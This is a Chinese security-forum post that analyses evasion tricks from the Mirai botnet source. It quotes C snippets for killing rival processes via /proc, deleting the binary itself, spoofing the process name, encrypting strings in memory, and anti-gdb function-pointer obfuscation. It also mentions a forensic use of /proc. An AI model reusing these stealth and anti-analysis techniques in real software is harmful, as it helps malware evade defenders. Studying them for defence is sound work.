-
-
[原创][原创]linux猥琐操作Zzz
-
2019-3-11 23:06 15556
-
总结一些linux下的猥琐操作
1.proc文件夹中的信息
https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/killer.c
以下摘自https://blog.csdn.net/enweitech/article/details/53391567
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat包含了进程的状态信息;
在linux中,这些文件包含了很多敏感信息
在mirai中,使用readlink读取/proc/pid/exe来获取程序路径,从而判断是敌是友
// If path contains ".anime" kill. if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1) { unlink(realpath); kill(pid, 9); }
也可以open /proc/pid/exe 来读取内存,读内存数据判断是敌是友
f (memory_scan_match(exe_path)) { #ifdef DEBUG printf("[killer] Memory scan match for binary %s\n", exe_path); #endif kill(pid, 9); } /* if (upx_scan_match(exe_path, status_path)) { #ifdef DEBUG printf("[killer] UPX scan match for binary %s\n", exe_path); #endif kill(pid, 9); }
这些特性也可以用来取证,比如如果readlink /proc/pid/exe,路径中出现(deleted),就是自删除的,那么这个就很可疑,就可以使用cp /proc/pid/exe /tmp/v 把他拷贝出来。更多的特性可以在网上找资料,对linux安全研究有很多帮助。
2.dns请求
mirai为了不调用c库函数,自己实现很多c函数
比如util.c中一些库函数,resolv.c中的dns查询
https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/resolv.c
3.隐藏自身
linux惯用手法
曾经看过一个udp reverseshell ,感觉linux中用户层隐藏自己的方法都差不多
https://github.com/Churro/portknockd/blob/master/portknockd.c
strncpy(argv[0], NAME_SPOOF, strlen(argv[0])); prctl(PR_SET_NAME, (unsigned long)NAME_SPOOF, 0, 0, 0);
mirai
// Delete self unlink(args[0]); // Hide argv0 name_buf_len = ((rand_next() % 4) + 3) * 4; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0; util_strcpy(args[0], name_buf); // Hide process name name_buf_len = ((rand_next() % 6) + 3) * 4; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0; prctl(PR_SET_NAME, name_buf);
4.加密(mirai)
调用完后立刻加密,敏感字符串不会一直存留在内存中
// Print out system exec table_unlock_val(TABLE_EXEC_SUCCESS);// 解密 tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);// 获取 write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); write(STDOUT, "\n", 1); table_lock_val(TABLE_EXEC_SUCCESS);// 加密
5.隐藏函数调用(mirai)
做了两处隐藏,看unlock_tbl_if_nodebug中,将table_init函数的调用与argv[0]搅合在一起,让人逆得头疼
二是先注册异常处理函数 signal(SIGTRAP, &anti_gdb_entry);,如果unlock_tbl_if_nodebug(args[0])返回true,才触发异常,然后才间接调用anti_gdb_entry,anti_gdb_entry中为 resolve_func = resolve_cnc_addr;类似windows中的猥琐操作。
这段写的有两个作用,一是必须输入正确的名字才能进行正确的初始化,二是让你看不懂
main.c
signal(SIGTRAP, &anti_gdb_entry); ...... #ifdef DEBUG unlock_tbl_if_nodebug(args[0]); anti_gdb_entry(0); #else if (unlock_tbl_if_nodebug(args[0])) raise(SIGTRAP); #endif ...... static BOOL unlock_tbl_if_nodebug(char *argv0) { // ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72 char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12]; int i, ii = 0, c = 0; uint8_t fold = 0xAF; void (*obf_funcs[]) (void) = { (void (*) (void))ensure_single_instance, (void (*) (void))table_unlock_val, (void (*) (void))table_retrieve_val, (void (*) (void))table_init, // This is the function we actually want to run (void (*) (void))table_lock_val, (void (*) (void))util_memcpy, (void (*) (void))util_strcmp, (void (*) (void))killer_init, (void (*) (void))anti_gdb_entry }; BOOL matches; for (i = 0; i < 7; i++) c += (long)obf_funcs[i]; if (c == 0) return FALSE; // We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3 for (i = 0; i < sizeof (buf_src); i += 3) { char tmp = buf_src[i]; buf_dst[ii++] = buf_src[i + 1]; buf_dst[ii++] = tmp; // Meaningless tautology that gets you right back where you started i *= 2; i += 14; i /= 2; i -= 7; // Mess with 0xAF fold += ~argv0[ii % util_strlen(argv0)]; } fold %= (sizeof (obf_funcs) / sizeof (void *)); #ifndef DEBUG (obf_funcs[fold])(); matches = util_strcmp(argv0, buf_dst); util_zero(buf_src, sizeof (buf_src)); util_zero(buf_dst, sizeof (buf_dst)); return matches; #else table_init(); return TRUE; #endif }
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。